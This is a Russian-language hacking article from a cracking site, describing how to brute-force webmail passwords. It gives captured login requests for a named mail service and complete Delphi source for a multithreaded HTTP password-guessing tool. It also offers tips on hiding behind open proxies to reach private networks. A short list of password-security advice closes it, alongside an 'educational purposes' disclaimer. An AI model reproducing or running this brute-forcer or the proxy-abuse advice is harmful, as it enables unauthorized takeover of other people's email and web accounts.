Оригинальный DVD-ROM: eXeL@B DVD !
eXeL@B ВИДЕОКУРС !

Видеокурс программиста и крэкера 5D 2O17
(актуальность: ноябрь 2O17)
Свежие инструменты, новые видеоуроки!

  • 400+ видеоуроков
  • 800 инструментов
  • 100+ свежих книг и статей

УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

БОЛЬШОЙ FAQ ПО DELPHI



Взлом E-mail 2


Автор: Danil
WEB-сайт: http://www.danil.dp.ua
На улице стоит маленький мальчик и громко плачет. Подходит к нему мент:
- Чего плачешь, малыш?
- Я потеря-я-ялся...
- А адрес свой знаешь?
- Да-а-а. asd.ddd.lpo.net!..
- А, мать твою! Это ж где? А хоть имя свое знаешь?
- Administra-a-a-ator...

Продолжение статьи по ПОПЫТКАМ взлома мыла. Для тех, кто в бронепоезде (крупными буквами): Я НЕ ПИШУ КАК ВЗЛАМЫВАТЬ МЫЛО. Я ЗАНИМАЮСЬ ИССЛЕДОВАНИЯМИ, ДЕЛЮСЬ НЕКОТОРЫМИ ПРИЕМАМИ КОДИНГА И ПРИКАЛЫВАЮСЬ НАД ОДНОЙ ТЕМОЙ В ФОРУМЕ (см. первую статью). Это мое личное право. Стандатной программы по взлому мыла с одной кнопкой "Hack it" не бывает. Есть человеческий фактор, который можно использовать. Попытка взлома мыла - это пару часов и чуть-чуть подождать. Самый лучший метод - социальная инженерия. Писать письма с определенным сообщением, с атачами, подходящими под это сообщение. А не так, как мне один виры уже 2 месяца шлет. Размер - 130 кило. Без комментариев. Задолбался уже в диспечере писем на кнопку "переименовать и удалить" жать, а поставщику его инет услуг написать облом. Скажу сразу обо всех описанных способах - если сразу не получилось, то lim(100)% уже и не получится. Только трата времени и инет-ресурсов. Это были основные выводы по мылу. Эти статьи предоставляют интерес (по моему мнению) с точки зрения исследований и приемов кодинга. А что таким образом исследовать и сканировать - умный человек найдет. Это основные выводы по статьям. Продолжим.

HTTP - сервис. 80 порт (чаще всего). Для написания проги, нам понадобятся дополнительные инструменты для ведения логов некоторых запросов. Это port-mapper или tcp-logger. Программы, способные вести лог запросов по выбранному протоколу. Почему не сниффер? Потому, что забивать гвозди микроскопом не удобно. Для прослушки порта можно взять xspider, по port-mapper есть хорошая статья на http://www.uinc.ru/index.html, tcp-logger с исходниками можно взять там же. Tcp-logger - это как бы локальный прокси (в броузере надо вписать в поле прокси наш адрес и порт, на котором стоит прога), который получает пакеты от клиента, записывает их в лог и отсылает другому прокси в цепочке. Тот запрашивает сервер и возвращает ответы нам. tcp-logger получает их, опять пишет лог и передает клиенту. Как и обещал, будем исследовать mail.xakep.ru. Заходим броузером. Видим поля для ввода имени и пароля. Естественно, после ввода данных, будет сформирован и отослан url, содержащий эти данные. Включаем tcp-logger. Вот лог запроса на вход:


 GET http://mail.xakep.ru/cgi-bin/mail?username=USER&domain=xakep.ru&password=PASSWORD&submit=%C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0
 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/pdf, */*
 Accept-Language: ru
 User-Agent: Mozilla/9.0 (compatible; MSIE 9.0; Windows NT 8.0; qwerty)
 Host: mail.xakep.ru
 Proxy-Connection: Keep-Alive
 

Для сканера-брутфорсера, нам нужно найти отличие ответов сервера на правильный пароль и не правильный. Для этого надо их ввести. На правильный пароль ответ:


 HTTP/1.0 200 OK
 Date: Fue, 32 May 2002 08:11:01 GMT
 Server: Apache
 Cache-Control: no-store
 Content-Language: en-us
 Pragma: no-cache
 Vary: Accept-Language
 Content-Type: text/html; charset=windows-1251
 X-Cache: MISS from proxy.proxy.proxy
 Proxy-Connection: close
 <HTML>
 <HEAD>
 SKIP
 

Вот лог ответа на неправильный пароль:


 HTTP/1.0 200 OK
 Date: Fue, 32 May 2002 08:11:58 GMT
 Server: Apache
 Cache-Control: no-store
 Content-Language: en-us
 Pragma: no-cache
 Vary: Accept-Language
 Content-Type: text/html; charset=windows-1251
 X-Cache: MISS from proxy.proxy.proxy
 Proxy-Connection: close
 
 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
 <html>
 <head>
 SKIP
 

Таким образом, для того, чтобы сравнить отличие ответов, надо получить всего около 300 байт (в неправильном пароле есть , в правильном его нет). Брутфорсер будет очень похож на cgi-scaner и брутфорсер для запароленных ресурсов, с дной только разницей, что сравнивать мы будем не первые строки с ответом 200 или 500, а несколько больший кусок данных. По сравнению с брутфорсом для POP3, этот имеет ряд преимуществ:

  • Не надо на каждый запрос инициализировать сокет. Разрыв соединения при неправильном пароле не происходит, поэтому его можно инициализировать только на каждый процесс.
  • Надо послать один запрос и получить один ответ, а не три.
  • Можно использовать стандартный прокси.

Итак, Опять делаем новое приложение, новое окно, кнопку и ProgreesBar. Вот исходники HTTP-брутфорсера:


 unit Unit1;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   ComCtrls, StdCtrls, WinSock;
 
 type
   TForm1 = class(TForm)
     Button1: TButton;
     ProgressBar1: TProgressBar;
     procedure Button1Click(Sender: TObject);
     procedure FormCreate(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
 end;
 
 // Описание процесса
 type
   TScan = class(TThread)
     sock2: TSocket;
     addr: TSockAddrIn;
     WSAData: TWSAData;
   private
     procedure CScan;
   protected
     procedure Execute; override;
 end;
 
 var
   Form1: TForm1;
   // Массив процессов
   Sock : array[1..255] of TScan;
   Rez : boolean = false;
   // Кол-во запущенных процессов на данный момент
   I0 : Integer;
   // Номер текущего пароля
   I : Integer;
   // TStringGrid-ы с паролями и с логом
   PassList, DopList1 : TStringList;
 
 const
   FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
   ProcCount = 10; // кол-во процессов
   // Адрес прокси через который будет сканирование.
   // Лучше отпинговать сначала
   HTTPserv = 'proxy.address.net';
   User = 'USER';
 
 implementation
 
 // Для преобразование имени
 type
   TaPInAddr = array [0..255] of PInAddr;
   PaPInAddr = ^TaPInAddr;
 
 {$R *.DFM}
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   PassList:=TStringList.Create;
   DopList1:=TStringList.Create;
 end;
 
 // Запуск / Остановка
 procedure TForm1.Button1Click(Sender: TObject);
 var
   J0 : Integer;
 begin
   if Rez then
   begin
     Rez:=false;
     for J0:=1 to I0 do
       try
         Sock[J0].Terminate;
       except
       end;
   end
   else
   begin
     // Открытие и загрузка файла паролей
     try
       PassList.Clear;
       PassList.LoadFromFile(FilePass);
     except
     end;
     if PassList.Count<=0 then
     begin
       Application.MessageBox('Файл паролей не найден или его нельзя использовать', 'ERROR', mb_Ok);
       exit;
     end;
     Form1.Button1.Caption:='Stop';
     Form1.ProgressBar1.Position:=0;
     // Кол-во паролей
     Form1.ProgressBar1.Max:=PassList.Count;
     Application.ProcessMessages;
     I:=0;
     I0:=1;
     Rez:=true;
     // Запустить все процессы
     while true do
     begin
       Sock[I0]:=TScan.Create(false);
       inc(I0); // Подсчитать их кол-во
       //Выйти если больше указанного, или стоп, или подобрали
       if (I0>ProcCount)or(not Rez) then
         break;
       if I0 mod 100 = 0 then
         DopList1.Text:=IntToStr(I0);
     end;
   end;
 end;
 
 // Инициализация процесса
 procedure TScan.Execute;
 var
   iaddr, x0 : Integer;
   ph : PHostEnt;
   pptr : PaPInAddr;
   InAddr : TInAddr;
 begin
   try
     // Инициализация сокета
     WSAStartUp(257, WSAData);
     sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
     if sock2=INVALID_SOCKET then
     begin
       try
         closesocket(sock2);
       except
       end;
 
       try
         Terminate;
       except
       end;
       exit;
     end;
     // Получение адреса
     iaddr := inet_addr(HTTPserv);
     if iaddr <=0 then
     begin
       // Если имя, а не IP
       ph := gethostbyname(HTTPserv);
       if ph = nil then
       begin
         try
           closesocket(sock2);
         except
         end;
 
         try
           Terminate;
         except
         end;
         exit;
       end;
       pptr := PaPInAddr(ph^.h_addr_list);
       x0 := 0;
       while pptr^[x0] <> nil do
       begin
         InAddr:= pptr^[x0]^;
         inc(x0);
         addr.sin_addr:=inaddr;
         addr.sin_family := AF_INET;
         // Порт прокси - 80, 3128, 80808 и т.п.
         addr.sin_port := htons(80);
         if (connect(sock2, addr, sizeof(addr))) = 0 then
           break
       end;
     end
     else
     begin
       // Если IP
       addr.sin_addr.S_addr:=iaddr;
       addr.sin_family := AF_INET;
       // Порт прокси - 80, 3128, 80808 и т.п.
       addr.sin_port := htons(80);
       addr.sin_family := AF_INET;
       if (connect(sock2, addr, sizeof(addr))) > 0 then
       begin
         try
           closesocket(sock2);
         except
         end;
 
         try
           Terminate;
         except
         end;
         exit;
       end;
     end;
     // Запуск цикла
     while true do
     begin
       CScan;
       if (not Rez)or(I>=PassList.Count) then
         break;
     end;
   except
   end;
   dec(I0);
   try
     Terminate;
   except
   end;
   // Если отмена, закончился список или подобрали
   if I0<=1 then
   begin
     Form1.Button1.Caption:='Hack it';
     Rez:=false;
     Application.ProcessMessages;
     DopList1.SaveToFile('log.txt');
   end;
 end;
 
 // Процедура сканирования
 procedure TScan.CScan;
 var
   x, I2 : Integer;
   Buf : string;
 begin
   I2:=I;
   inc(I);
   Form1.ProgressBar1.Position:=I2+1;
   Application.ProcessMessages;
   try
     // Формирование url
     Buf:='GET http://mail.xakep.ru/cgi-bin/mail?username='+User+'&domain=xakep.ru&password='+PassList.Strings[I2]+'&submit=%C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0';
     // Отправка данных
     send(sock2,Buf[1],length(Buf),0);
     // Получение 300 байт
     setlength(Buf,300);
     x:=recv(sock2,Buf[1],300,0);
     if x<300 then
       exit;
     setlength(Buf,300);
     // Если подобрали
     if pos(Buf,'then
     begin
       Rez:=false;
       DopList1.Text:='Pass = '+PassList.Strings[I2];
       Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
       exit;
     end;
   except
   end;
 end;
 
 end.
 

Такая конструкция будет достаточно быстро работать. Правда, недостаточно быстро для ОЧЕНЬ БОЛЬШИХ файлов с паролями или прямого перебора. Но, само описание и приемы подходят не только для мыла, но и для других HTTP-сервисов. Различные чаты, форумы и т.д. и т.п. Он достаточно просто переделывается в cgi-scaner и в брутфорсер перебора пароля на закрытые на сервере ресурсы.

Анонимность. Прокси. Для HTTP брутфорсера - уже написано. Надо при инициализации сокета, использовать адрес и порт прокси. Для POP3 и прочего: надо юзать SOCKS-proxies. Всю информацию по использованию и настройке можно почитать здесь.

Публичные прокси. Например, есть некоторая локальная сеть, из которой осуществляется выход в инет. На сервере стоит прокси сервер для того, чтобы все в локалке могли открывать сайты, получать почту и т.д. и т.п. Как это не странно, но очень многие забывают поставить соответствующий доступ к этому прокси. Т.к. практически все такие прокси поддерживают получение почты, телнет, HTTP, то сформировав запрос соответствующим образом, можно делать практически все. Не говоря уже о запуске брутфорсеров и т.п. через этот прокси, можно получать доступ ко всей локальной сетке. Обратным адресом будет адрес сервера с прокси. Об этом мало говорят, но такие сервера есть и их не так и мало. Таким образом, можно применяя технологию спуфинга, получать мыло у прова с уровнем безопасности из первой статьи (получение почты только при выходе в инет через них). В общем, вариантов использования очень много.

Подведем итоги по безопасности:

  • Если пароль на мыло указать не менее 8-ми случайных цифр и больших, маленьких букв, то подобрать пароль практически невозможно. Используя любой из описанных вариантов. Кол-во возможных вариантов ОЧЕНЬ большое. Это же касается и "Забыл пароль". Для параноиков - его можно менять раз в неделю/месяц.
  • Не пользоваться броузером при получении писем. На всякий случай. Или использовать оперу без установленных сервисов поддержки Java.
  • Не отвечать на подозрительные письма. Лучше быть невежливым, чем... Если есть малейшее подозрение, можешь не сомневаться - это атака на мыло.
  • Отключить в e-mail клиенте автопросмотр html и не пользоваться аутглюком. Есть другие предложения на этом рынке. А ему запретить в firewall вообще куда-либо доступ.
  • Хороший firewall, не только со стандартными функциями и ограничением показа баннеров, но и с автоматическим переименованием приатаченных файлов с выбранными расширениями.
  • Нужно почаще получать письма и удалять их на сервере. Даже если пароль подобран, для чтения писем, атакующему придется очень часто их получать и админ рано или поздно это заметит.

Все это бесполезно, при грамотном осуществлении 3-его способа (см. первую статью).

P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.




<< ВЕРНУТЬСЯ В ОГЛАВЛЕНИЕ



Материалы находятся на сайте https://exelab.ru/pro/



Оригинальный DVD-ROM: eXeL@B DVD !


Вы находитесь на EXELAB.rU
Проект ReactOS